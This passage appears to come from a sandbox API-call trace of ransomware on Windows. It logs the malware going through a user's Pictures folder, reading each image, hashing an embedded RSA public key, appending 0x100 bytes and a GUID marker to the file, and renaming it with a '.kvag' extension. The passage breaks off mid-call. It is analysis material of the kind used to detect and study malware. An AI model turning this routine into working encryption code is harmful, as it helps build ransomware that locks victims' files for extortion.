ftLastWriteTime.dwLowDateTime=0x51eb45e0, ftLastWriteTime.dwHighDateTime=0x1d4c600, nFileSizeHigh=0x0, nFileSizeLow=0x163e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gy-VQuUkc4SKj_omZAJ1.bmp", cAlternateFileName="GY-VQU~1.BMP")) returned 1 [0119.949] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Gy-VQuUkc4SKj_omZAJ1.bmp") returned=".bmp" [0119.949] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Gy-VQuUkc4SKj_omZAJ1.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gy-vquukc4skj_omzaj1.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.949] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=91107) returned 1 [0119.949] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.951] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x163bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.951] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.952] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x163e3, lpOverlapped=0x0) returned 1 [0119.953] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.953] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.953] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.953] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.954] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.954] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.954] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.954] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.954] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.954] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.954] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.954] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.954] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.955] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.955] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x163e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.955] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.955] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.955] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.956] CloseHandle (hObject=0x61c) returned 1 [0119.957] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Gy-VQuUkc4SKj_omZAJ1.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gy-vquukc4skj_omzaj1.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Gy-VQuUkc4SKj_omZAJ1.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gy-vquukc4skj_omzaj1.bmp.kvag")) returned 1 [0119.958] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf843f50, ftCreationTime.dwHighDateTime=0x1d4c785, ftLastAccessTime.dwLowDateTime=0x3eea77b0, ftLastAccessTime.dwHighDateTime=0x1d4c586, ftLastWriteTime.dwLowDateTime=0x3eea77b0, ftLastWriteTime.dwHighDateTime=0x1d4c586, nFileSizeHigh=0x0, nFileSizeLow=0x11601, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iIl9 Kf6dOpe1lUAjHX.png", cAlternateFileName="IIL9KF~1.PNG")) returned 1 [0119.958] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\iIl9 Kf6dOpe1lUAjHX.png") returned=".png" [0119.958] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\iIl9 Kf6dOpe1lUAjHX.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iil9 kf6dope1luajhx.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.959] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=71169) returned 1 [0119.959] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.961] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x115db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.961] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.963] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x11601, lpOverlapped=0x0) returned 1 [0119.963] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.963] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.964] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.964] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.964] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.964] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.964] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.964] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.964] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.964] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.965] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.965] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.965] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.965] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.965] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11601, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.965] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.966] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.966] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.966] CloseHandle (hObject=0x61c) returned 1 [0119.967] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\iIl9 Kf6dOpe1lUAjHX.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iil9 kf6dope1luajhx.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\iIl9 Kf6dOpe1lUAjHX.png.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iil9 kf6dope1luajhx.png.kvag")) returned 1 [0119.968] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x922d9c30, ftCreationTime.dwHighDateTime=0x1d4c7f3, ftLastAccessTime.dwLowDateTime=0x769f82b0, ftLastAccessTime.dwHighDateTime=0x1d4d542, ftLastWriteTime.dwLowDateTime=0x769f82b0, ftLastWriteTime.dwHighDateTime=0x1d4d542, nFileSizeHigh=0x0, nFileSizeLow=0x18a47, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iZQNS6PXH2.bmp", cAlternateFileName="IZQNS6~1.BMP")) returned 1 [0119.968] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\iZQNS6PXH2.bmp") returned=".bmp" [0119.968] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\iZQNS6PXH2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\izqns6pxh2.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.969] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=100935) returned 1 [0119.969] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.971] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18a21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.971] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.972] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x18a47, lpOverlapped=0x0) returned 1 [0119.973] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.973] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.973] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.973] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0119.974] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.974] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.974] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.974] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.974] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.974] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0119.974] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.974] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.974] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.975] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.975] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18a47, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.975] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.976] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.976] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.976] CloseHandle (hObject=0x61c) returned 1 [0119.977] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\iZQNS6PXH2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\izqns6pxh2.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\iZQNS6PXH2.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\izqns6pxh2.bmp.kvag")) returned 1 [0119.978] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d86cb60, ftCreationTime.dwHighDateTime=0x1d4d4d5, ftLastAccessTime.dwLowDateTime=0x836c960, ftLastAccessTime.dwHighDateTime=0x1d4d0a0, ftLastWriteTime.dwLowDateTime=0x836c960, ftLastWriteTime.dwHighDateTime=0x1d4d0a0, nFileSizeHigh=0x0, nFileSizeLow=0x668e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jH6B7Hxu.gif", cAlternateFileName="")) returned 1 [0119.978] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jH6B7Hxu.gif") returned=".gif" [0119.978] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jH6B7Hxu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jh6b7hxu.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.978] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=26254) returned 1 [0119.978] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.980] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6668, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.980] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.982] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x668e, lpOverlapped=0x0) returned 1 [0119.982] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.982] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.983] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.983] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 